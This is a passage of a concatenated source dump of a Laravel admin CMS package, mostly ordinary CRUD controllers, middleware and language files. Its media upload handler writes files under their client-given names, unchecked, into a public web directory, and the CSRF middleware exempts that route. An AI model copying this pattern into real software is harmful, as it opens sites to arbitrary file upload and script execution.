1)->first(); } } $content = view('clixy/admin::color.colorlist', ['list' => $list])->render(); return response()->json(['list' => [], 'content' => $content, 'pagination' => '-na-', 'token' => $token]); } public function postCreate() { $lang = new Language(); $lang_list = $lang->get(); $col = new Color; $col->save(); foreach ($lang_list as $v) { $collang = new ColorLang(); $collang->id = $col->id; $collang->lang_id = $v->id; $collang->save(); } return response()->json(['id' => $col->id, 'token' => csrf_token()]); } public function postSave(Request $request) { $lang = new Language(); $lang_list = $lang->get(); $id = $request->input('id'); $col = Color::find($id); $col->name = $request->input('name'); $col->ord = $request->input('ord'); $col->code = $request->input('code'); $col->save(); foreach ($lang_list as $v) { ColorLang::where('id', $id) ->where('lang_id', $v->id) ->update([ 'title' => $request->input('title')[$v->id] ]); } return response()->json(['state' => true, 'token' => csrf_token()]); } public function postGet(Request $request) { $id = $request->input('id'); $lang_list = Language::get(); $data = Color::find($id); $collang = new ColorLang(); if ($data) { $lang_data = []; foreach ($lang_list as $v) { $lang_data[$v->id] = $collang->where('id', $id)->where('lang_id', $v->id)->first(); } } $content = $content = view('clixy/admin::color.colorform', ['module' => 'color', 'data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render(); return response()->json(['id' => 0, 'content' => $content, 'token' => csrf_token()]); } public function postRemove(Request $request) { Color::where('id', $request->input('id'))->delete(); return response()->json(['state' => true, 'msg' => 'done', 'token' => csrf_token()]); } } ================================================ FILE: src/Controllers/ConfController.php ================================================ 'conf']); } public function postList() { $conf = new Conf(); $list = $conf->orderBy('ord', 'asc')->get(); if ($list) { foreach ($list as $v) { // var_dump(ColorLang::where('id', $v->id)->where('lang_id', 1)->first()); // $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 1)->first(); } } return response()->json([ 'list' => [], 'content' => view('clixy/admin::conf.conflist', ['list' => $list])->render(), 'pagination' => '-na-', 'token' => csrf_token() ]); } public function postCreate() { $conf = new Conf; $conf->save(); return response()->json([ 'id' => $conf->id, 'token' => csrf_token() ]); } public function postSave(Request $request) { $id = $request->input('id'); $conf = Conf::find($id); $conf->slug = $request->input('slug'); // $conf->ord = $request->input('ord'); $conf->value = $request->input('value'); $conf->save(); return response()->json([ 'state' => true, 'token' => csrf_token() ]); } public function postGet(Request $request) { $id = $request->input('id'); $lang_list = Language::get(); $data = Conf::find($id); return response()->json([ 'id' => 0, 'content' => view('clixy/admin::conf.confform', ['module' => 'conf', 'data' => $data])->render(), 'token' => csrf_token() ]); } public function postRemove(Request $request) { Conf::where('id', $request->input('id'))->delete(); return response()->json([ 'state' => true, 'msg' => 'done', 'token' => csrf_token() ]); } } ================================================ FILE: src/Controllers/HomeController.php ================================================ 'item']); } public function postList(Request $request) { $o = new Item(); $ol = new ItemLang(); $list = $o->orderBy('ord', 'asc')->get(); if ($list) { foreach ($list as $v) { $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first(); } } return response()->json([ 'list' => [], 'content' => view('clixy/admin::item/itemlist', ['module' => 'item', 'list' => $list])->render(), 'pagination' => '-na-', 'token' => csrf_token() ]); } public function postCreate(Request $request) { $lang = new Language(); $lang_list = $lang->get(); $o = new Item(); $o->save(); foreach ($lang_list as $v) { $ol = new ItemLang(); $ol->id = $o->id; $ol->lang_id = $v->id; $ol->save(); } return response()->json([ 'id' => $o->id, 'state' => true, 'token' => csrf_token() ]); } /** * * @param Request $request * @return json */ public function postDateCreate(Request $request) { $o = new ItemDate(); $o->item_id = $request->input('id'); $o->date_at = $request->input('date'); $o->save(); return response()->json([ 'id' => $o->id, 'state' => true, 'token' => csrf_token() ]); } /** * * @param Request $request * @return type */ public function postDateList(Request $request) { $o = new ItemDate(); $list = $o->where('item_id', $request->input('id'))->orderBy('date_at', 'desc')->get(); return response()->json([ 'list' => [], 'content' => view('clixy/admin::item/itemdatelist', ['list' => $list])->render(), 'token' => csrf_token() ]); } public function postRemove(Request $request) { $id = $request->input('id'); $o = new Item(); $o->find($id)->delete(); return response()->json([ 'state' => true, 'msg' => 'done', 'token' => csrf_token() ]); } public function postDateRemove(Request $request) { $id = $request->input('id'); $o = new ItemDate(); $o->find($id)->delete(); return response()->json([ 'state' => true, 'msg' => 'done', 'token' => csrf_token() ]); } public function postGet(Request $request) { $id = $request->input('id'); $language = new Language(); $o = new Item(); $ol = new ItemLang(); $oc = new ItemCategory(); $cat = new Category(); $od = new ItemDate(); $lang_list = $language->get(); $data = $o->find($id); if ($data) { $data_category_list = []; $rr = $oc->where('item_id', $data->id)->get(); if ($rr) { foreach ($rr as $vv) { $data_category_list[] = (int) $vv->category_id; } } $data->category_list = $data_category_list; // var_dump($data->category_list); $data_date_list = []; $rrr = $od->where('item_id', $data->id)->get(); if ($rr) { foreach ($rrr as $vvv) { $data_date_list[] = $vvv; } } $data->date_list = $data_date_list; // var_dump($data->category_list); // var_dump($data->category_list); $lang_data = []; foreach ($lang_list as $k => $v) { $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first(); } } $category_list = []; $r = $cat->where('active', 1)->orderBy('ord', 'asc')->get(); if ($r) { foreach ($r as &$v) { $v->lang = $v->lang()->where('lang_id', 1)->first(); $category_list[] = $v; } } $content = view( 'clixy/admin::item/itemform', [ 'module' => 'item', 'data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list, 'category_list' => $category_list ] )->render(); return response()->json([ 'id' => 0, 'content' => $content, 'token' => csrf_token() ]); } public function postSave(Request $request) { $lang = new Language(); $lang_list = $lang->get(); $id = $request->input('id'); $о = Item::find($id); $о->slug = $request->input('slug'); $о->ord = $request->input('ord'); $о->active = $request->input('active'); $о->days = $request->input('days'); $о->min_price = $request->input('min_price'); $о->max_price = $request->input('max_price'); $о->port_from = $request->input('port_from'); $о->port_to = $request->input('port_to'); $о->save(); foreach ($lang_list as $v) { ItemLang::where('id', $id) ->where('lang_id', $v->id) ->update([ 'title' => $request->input('title')[$v->id], 'uri' => $request->input('uri')[$v->id], 'content' => $request->input('content')[$v->id] ]); } $assoc = new ItemCategory(); // remove all $assoc->where('item_id', $id)->delete(); // set all $list = $request->input('category'); if ($list) { foreach ($list as $k => $v) { $as = new ItemCategory(); $as->item_id = $id; $as->category_id = $k; $as->save(); } } return response()->json([ 'state' => true, 'token' => csrf_token() ]); } } ================================================ FILE: src/Controllers/MediaController.php ================================================ input('page'); $category_id = $request->input('type'); $item_id = $request->input('item_id'); $total = $media ->where('category_id', $category_id) ->where('item_id', $item_id) ->count(); $steps = ceil($total / 12); $pagination = view('clixy/admin::common.ajaxpagination', [ "category_id" => $category_id, "pages" => $steps, "page" => $page, "obj" => "media", "act" => "get_page", "range" => 4 ])->render(); return response()->json([ 'pagination' => $pagination, 'token' => $token ]); } public function postGetMediaDetailList(Request $request) { $media = new Media(); $mc = new MediaCategory(); $category_id = $request->input('category_id'); $item_id = $request->input('item_id'); $obj = ''; switch ($category_id) { case 1: $obj = 'slide'; break; case 2: $obj = 'navigation'; break; } $list = $media ->where('category_id', $category_id) ->where('item_id', $item_id) ->get(); if ($list) { foreach ($list as $v) { $v->category = $mc->find($v->category_id); $v->class = "jpg"; $v->template = "JPG"; } } // echo '
' . print_r($list, true);
        
        $content = view('clixy/admin::multimedia.media_detail_list_ajax', [
            'obj' => $obj,
            'media_conf' => array(),
            'list' => $list
        ])->render();
        
        return response()->json([
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $media = new Media();
        
        $id = $request->input('id');
        
        $media->find($id)->delete();
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    public function postUpload(Request $request)
    {
        $category_id = (int) $request->input('cat_id', 0);
        $item_id = (int) $request->input('item_id', 0);
        $file = $request->file('file');
        
		$state = true;
		
		
        $mc = new MediaCategory();

		$directory = rtrim(config('clixy.admin.upload_dir'), DIRECTORY_SEPARATOR);
        $directory .= DIRECTORY_SEPARATOR;
		$directory .= ltrim($mc->find($category_id)->directory, DIRECTORY_SEPARATOR);
        
        if ($file->isValid()) {
            $file->move($directory, $file->getClientOriginalName());
        }
        
        if ($state === true) {
            $media = new Media();
            $media->ord = 0;
            $media->item_id = $item_id;
            $media->category_id = $category_id;
            $media->type_id = 2;// JPG
            $media->file = $file->getClientOriginalName();
            $media->location = "";
            $media->width = 0;
            $media->height = 0;
            $media->fps = 0;
            $media->size = $file->getClientSize();
            $media->duration = 0;
            $media->mime = '-na-';//$file->getMimeType();
            $media->save();
        }
        
        return response()->json([
            'state' => $state,
            'directory' => $directory,
            'category_id' => $category_id,
            'item_id' => $item_id,
            'name' => $file->getClientOriginalName(), 
            'token' => csrf_token()
        ]);
    }
}

================================================
FILE: src/Controllers/NavigationController.php
================================================
 'navigation']);
    }
    
    public function postList(Request $request)
    {
        $o = new Navigation();
        $ol = new NavigationLang();
		$ng = new NavigationGroup();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
		}
		$group_list = $ng->where('active', 1)->orderBy('ord', 'ASC')->get();
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::navigation.navigationlist', ['group_list' => $group_list, 'list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Navigation();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NavigationLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $o = new Navigation();
        $ol = new NavigationLang();
        
        $page = new Page();
        $pagelang = new PageLang();
        
        $nav = $o->find($id);
        $nav->slug = $request->input('slug');
        $nav->ord = $request->input('ord');
        $nav->uri = $request->input('uri');
        $nav->page_id = $request->input('page_id');
        
        // get slug and uri from page
        $slug = $page->find($request->input('page_id'));
        if (!empty($slug) && $slug->count() > 0) {
            // dump($slug);
            $nav->slug = $slug->slug; 
            $nav->uri = $slug->slug; 
            //echo $request->input('page_id');
            //echo 'slug:' . $slug->slug;
            //echo $slug->id;
        }
        
        // $nav->header = $request->input('header');
        // $nav->footer = $request->input('footer');
        // $nav->child = $request->input('child');
	$nav->group_id = $request->input('group_id');
        $nav->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'content' => $request->input('content')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        $l = new Language();
        $lang_list = $l->get();
        
        $data = Navigation::find($id);
        $navlang = new NavigationLang();
	$ng = new NavigationGroup();
        $page = new Page();
        $pagelang = new PageLang();
        
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $v) {
                $lang_data[$v->id] = $navlang->where('id', $id)->where('lang_id', $v->id)->first();
            }
	    $data['group_list'] = $ng->where('active', 1)->orderBy('ord', 'ASC')->get();
        }
        
        $page_list = [];
        $r = $page->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $pagelang->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view('clixy/admin::navigation.navigationform', ['data' => $data, 'page_list' => $page_list, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $o = new Navigation();
        $o->where('id', $request->input('id'))->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsController.php
================================================
 'news']);
    }
    
    public function postList(Request $request)
    {
        $o = new News();
        $ol = new NewsLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::news/newslist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new News();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NewsLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new News();
		$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new News();
        $ol = new NewsLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $page_list = [];
        $r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view(
                'clixy/admin::news/newsform', 
                [
                    'module' => 'news',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list,
                    'page_list' => $page_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new News();
	$ol = new NewsLang();
	
        $v = $o->find($id);
        $v->ord = $request->input('ord');
        $v->slug = $request->input('slug');
        $v->parent_id = $request->input('parent_id');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'uri' => $request->input('uri')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'heading' => $request->input('heading')[$v->id],
                    'content' => $request->input('content')[$v->id],
                    'meta_title' => $request->input('meta_title')[$v->id],
                    'meta_keywords' => $request->input('meta_keywords')[$v->id],
                    'meta_description' => $request->input('meta_description')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsletterController.php
================================================
 'newsletter']);
    }
    
    public function postList(Request $request)
    {
        $o = new Newsletter();
        $ol = new NewsletterLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::newsletter/newsletterlist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Newsletter();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NewsletterLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new Newsletter();
	$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new Newsletter();
        $ol = new NewsletterLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $content = $content = view(
                'clixy/admin::newsletter/newsletterform', 
                [
                    'module' => 'newsletter',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new Newsletter();
	$ol = new NewsletterLang();
	
        $v = $o->find($id);
        $v->slug = $request->input('slug');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'subject' => $request->input('subject')[$v->id],
                    'content' => $request->input('content')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsletterSubscribersController.php
================================================
 'NewsletterSubscribers']);
    }
    
    public function postList(Request $request)
    {
        $o = new NewsletterSubscribers();
        $list = $o->orderBy('id', 'desc')->get();
        if ($list) {
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::NewsletterSubscribers/NewsletterSubscribersList', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $o = new NewsletterSubscribers();
        $o->save();
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new NewsletterSubscribers();
		$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $o = new NewsletterSubscribers();
        
        $data = $o->find($id);
        // var_dump($data);
        
        $content = $content = view(
                'clixy/admin::NewsletterSubscribers/NewsletterSubscribersForm', 
                [
                    'module' => 'NewsletterSubscribers',
                    'data' => $data
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $id = $request->input('id');
        
	$o = new NewsletterSubscribers();
	
        $v = $o->find($id);
        $v->name = $request->input('name');
        $v->email = $request->input('email');
        $v->save();
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/PageController.php
================================================
 'page']);
    }
    
    public function postList(Request $request)
    {
        $o = new Page();
        $ol = new PageLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }

        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::page/pagelist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Page();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new PageLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new Page();
	$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new Page();
        $ol = new PageLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $page_list = [];
        $r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view(
                'clixy/admin::page/pageform', 
                [
                    'module' => 'page',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list,
                    'page_list' => $page_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new Page();
	$ol = new PageLang();
	
        $v = $o->find($id);
        $v->ord = $request->input('ord');
        $v->slug = $request->input('slug');
        $v->parent_id = $request->input('parent_id');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'uri' => $request->input('uri')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'heading' => $request->input('heading')[$v->id],
                    'content' => $request->input('content')[$v->id],
                    'meta_title' => $request->input('meta_title')[$v->id],
                    'meta_keywords' => $request->input('meta_keywords')[$v->id],
                    'meta_description' => $request->input('meta_description')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}


================================================
FILE: src/Controllers/SliderController.php
================================================
 'slide']);
    }
    
    public function postList(Request $request)
    {
        $slide = new Slide();
        
        $list = $slide->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = SlideLang::where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::slider/sliderlist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $slide = new Slide;
        $slide->save();
        
        foreach ($lang_list as $v) {
            $slideLang = new SlideLang();
            $slideLang->id = $slide->id;
            $slideLang->lang_id = $v->id;
            $slideLang->save();
        }
        
        $token = csrf_token();
        return response()->json([
			'id' => $slide->id,
			'token' => $token
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
        
        Slide::where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $data = Slide::find($id);
        $slidelang = new SlideLang();
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $slidelang->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $content = $content = view('clixy/admin::slider/sliderform', ['data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $slide = Slide::find($id);
        $slide->ord = $request->input('ord');
        $slide->save();
        
        foreach ($lang_list as $v) {
            SlideLang::where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'content' => $request->input('content')[$v->id],
                    'uri' => $request->input('uri')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/UserController.php
================================================
user() ? $request->user()->toArray() : ['id' => null];
        return view('clixy/admin::user.user', ['module' => 'user', 'user' => $user, 'token' => csrf_token()]);
    }
    
    public function postList()
    {
        $o = new User();
        
        $list = $o->orderBy('id', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                // var_dump(ColorLang::where('id', $v->id)->where('lang_id', 1)->first());
                // $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        // var_dump($list);
        
        $content = view('clixy/admin::user.userlist', ['list' => $list])->render();
        
        return response()->json(['list' => [], 'content' => $content, 'pagination' => '-na-', 'token' => csrf_token()]);
    }
    
    public function postCreate()
    {
        $o = new User;
        $o->save();
        
        return response()->json(['id' => $o->id, 'token' => csrf_token()]);
    }
    
    public function postSave(Request $request)
    {
        $id = $request->input('id');
        
        $o = new User();
        
        $u = $o->find($id);
        $u->name = $request->input('name');
        $u->email = $request->input('email');
        if ($request->input('password')) {
            $u->password = bcrypt($request->input('password'));
        }
        $u->save();
        
        return response()->json(['state' => true, 'token' => csrf_token()]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $o = new User;
        $data = $o->find($id);
        if ($data) {
            
        }
        $content = $content = view('clixy/admin::user.userform', ['module' => 'user', 'data' => $data])->render();
        return response()->json(['id' => 0, 'content' => $content, 'token' => csrf_token()]);
    }
    
    public function postRemove(Request $request)
    {
        User::where('id', $request->input('id'))->delete();
        return response()->json(['state' => true, 'msg' => 'done', 'token' => csrf_token()]);
    }
}

================================================
FILE: src/Middleware/Authenticate.php
================================================
guest()) {
            if ($request->ajax() || $request->wantsJson()) {
                return response('Unauthorized.', 401);
            }
			
			$prefix = config('clixy.admin.prefix');
			return redirect()->guest("{$prefix}/login");
        }

        return $next($request);
    }
}


================================================
FILE: src/Middleware/EncryptCookies.php
================================================
check()) {
			$prefix = config('clixy.admin.prefix');
            return redirect("{$prefix}");
        }

        return $next($request);
    }
}


================================================
FILE: src/Middleware/VerifyCsrfToken.php
================================================
except = [
			"{$prefix}/media/upload"
		];

	}
}


================================================
FILE: src/Providers/AdminServiceProvider.php
================================================
publishes([
			__DIR__ . '/../public/assets/admin' => public_path('assets/admin'),
		], 'public');
		
		// translations
		$this->loadTranslationsFrom(__DIR__ . '/../lang', 'clixy/admin');
		
		// views
		$this->loadViewsFrom(__DIR__ . '/../views', 'clixy/admin');

		// template global variables
		$this->app->view->share('prefix', config('clixy.admin.prefix') );
	}

	/**
	 * Register the application services.
	 *
	 * @return void
	 */
	public function register()
	{

		// config
		$this->mergeConfigFrom(__DIR__ . '/../config.php', 'clixy.admin');
		
		// middleware
		$this->app['router']->middleware('auth.admin', '\Clixy\Admin\Middleware\Authenticate');
		$this->app['router']->middleware('guest.admin', '\Clixy\Admin\Middleware\RedirectIfAuthenticated');
		
		//middleware groups
		$this->app['router']->middlewareGroup('admin',[
			\Clixy\Admin\Middleware\EncryptCookies::class,
			\Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
			\Illuminate\Session\Middleware\StartSession::class,
			\Illuminate\View\Middleware\ShareErrorsFromSession::class,
			\Clixy\Admin\Middleware\VerifyCsrfToken::class,
		]);
		
		// adding admin routes
		require __DIR__ . '/../routes.php';

		// clixy/core
		$this->app->register('Clixy\Core\Providers\CoreServiceProvider');
		
		// override laravel controllers
		$this->app->make('Clixy\Admin\Controllers\Auth\AuthController');

		// controllers
		$this->app->make('Clixy\Admin\Controllers\CategoryController');
		$this->app->make('Clixy\Admin\Controllers\ColorController');
		$this->app->make('Clixy\Admin\Controllers\ConfController');
		$this->app->make('Clixy\Admin\Controllers\HomeController');
		$this->app->make('Clixy\Admin\Controllers\ItemController');
		$this->app->make('Clixy\Admin\Controllers\MediaController');
		$this->app->make('Clixy\Admin\Controllers\NavigationController');
		$this->app->make('Clixy\Admin\Controllers\NewsController');
		$this->app->make('Clixy\Admin\Controllers\NewsletterController');
		$this->app->make('Clixy\Admin\Controllers\NewsletterSubscribersController');
		$this->app->make('Clixy\Admin\Controllers\PageController');
		$this->app->make('Clixy\Admin\Controllers\SliderController');
		$this->app->make('Clixy\Admin\Controllers\UserController');
	}

}


================================================
FILE: src/config.php
================================================
 'cms',
	
	/*
	|--------------------------------------------------------------------------
	| Media Upload Path
	|--------------------------------------------------------------------------
	|
	| Specify path where media files will be uploaded.
	| Please consider using a path where guest front-end will be accessible
	|
	*/

	'upload_dir' => public_path(),

];


================================================
FILE: src/lang/bg/auth.php
================================================
 'These credentials do not match our records.',
    'throttle' => 'Too many login attempts. Please try again in :seconds seconds.',

];


================================================
FILE: src/lang/bg/btn.php
================================================
 'промени',
    'delete' => 'изтрий',
    'save' => 'запази',
    'cancel' => 'отказ',
    'login' => 'вход',
    'add' => 'добави',
];



================================================
FILE: src/lang/bg/pagination.php
================================================
 '« Previous',
    'next'     => 'Next »',

];


================================================
FILE: src/lang/bg/passwords.php
================================================
 'Passwords must be at least six characters and match the confirmation.',
    'reset' => 'Your password has been reset!',
    'sent' => 'We have e-mailed your password reset link!',
    'token' => 'This password reset token is invalid.',
    'user' => "We can't find a user with that e-mail address.",

];


================================================
FILE: src/lang/bg/validation.php
================================================
 'The :attribute must be accepted.',
    'active_url'           => 'The :attribute is not a valid URL.',
    'after'                => 'The :attribute must be a date after :date.',
    'alpha'                => 'The :attribute may only contain letters.',
    'alpha_dash'           => 'The :attribute may only contain letters, numbers, and dashes.',
    'alpha_num'            => 'The :attribute may only contain letters and numbers.',
    'array'                => 'The :attribute must be an array.',
    'before'               => 'The :attribute must be a date before :date.',
    'between'              => [
        'numeric' => 'The :attribute must be between :min and :max.',
        'file'    => 'The :attribute must be between :min and :max kilobytes.',
        'string'  => 'The :attribute must be between :min and :max characters.',
        'array'   => 'The :attribute must have between :min and :max items.',
    ],
    'boolean'              => 'The :attribute field must be true or false.',
    'confirmed'            => 'The :attribute confirmation does not match.',
    'date'                 => 'The :attribute is not a valid date.',
    'date_format'          => 'The :attribute does not match the format :format.',
    'different'            => 'The :attribute and :other must be different.',
    'digits'               => 'The :attribute must be :digits digits.',
    'digits_between'       => 'The :attribute must be between :min and :max digits.',
    'email'                => 'The :attribute must be a valid email address.',
